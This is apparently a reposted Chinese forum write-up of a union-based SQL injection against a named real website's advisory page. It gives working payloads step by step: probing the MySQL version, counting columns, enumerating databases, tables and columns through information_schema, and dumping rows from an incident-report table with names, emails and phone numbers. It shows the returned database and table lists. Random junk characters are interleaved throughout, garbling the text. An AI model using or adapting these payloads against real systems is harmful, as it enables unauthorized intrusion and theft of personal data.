1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
1 [+ {' b9 a% e1 X0 Q7 ~( b0 w2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解, D+ I P9 u$ y$ G, b. R3 c
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--- w( {6 j/ ] ?9 _$ v, p
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--' X! x$ o8 p& h- v+ _2 i
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。$ W% A: R( B9 {" i/ [
4.判断有没有写权限" b6 D+ i( _8 w! X" s/ i: K* i
http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
! @ O+ W0 e8 i! Z没办法,手动猜表啦
) ^, _( n5 P ^) ~) g5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1' L# q6 h4 r5 v+ v+ U! d
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下; F W* g6 V p/ T
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--) E0 o6 q" {" K7 k9 ]9 `5 k
成功查出所有数据库,国外的黑客就是不一般。数据库如下:
. F8 f/ e1 x1 linformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb# J1 t4 v4 n T* Q' S) q% Y, {5 G
6.爆表,爆的是twcert库
+ k( v; R# e5 G, R. Whttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
: k4 O$ J0 r+ W9 K& J爆出如下表* H$ g# X+ ^7 ]7 s3 @' y: y
downloadfile,irsys,newsdata,secrpt,secrpt_big5
# X& x9 y, }- A$ ] S3 i) a* C7.爆列名,这次爆的是irsys表& g# l" S5 T' ?6 [
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--2 ^) m1 p+ u" a
爆出如下列
7 k$ n4 D3 I* s7 l2 D, ?2 K7 `ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status. i' L& R- N# t, z% V
8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。! k% m, f9 v5 ]. N4 M/ m& ^
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--8 k/ R2 C0 b* a. S: z& B
返回是3,说明每个列里有3个地段
4 i7 Z) u, l# z6 R- q9.爆字段内容
. `2 @0 h# b! o% I+ q" {5 X( a9 H! ?http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
3 O, y6 Y* K' m( N" Z& V B6 r爆出name列的第一个字段的内容
5 P Q% U0 a: m) z3 M9 ]# Bhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--* P9 D2 |2 Q& I0 c. X
爆出name列的第二个字段的内容 |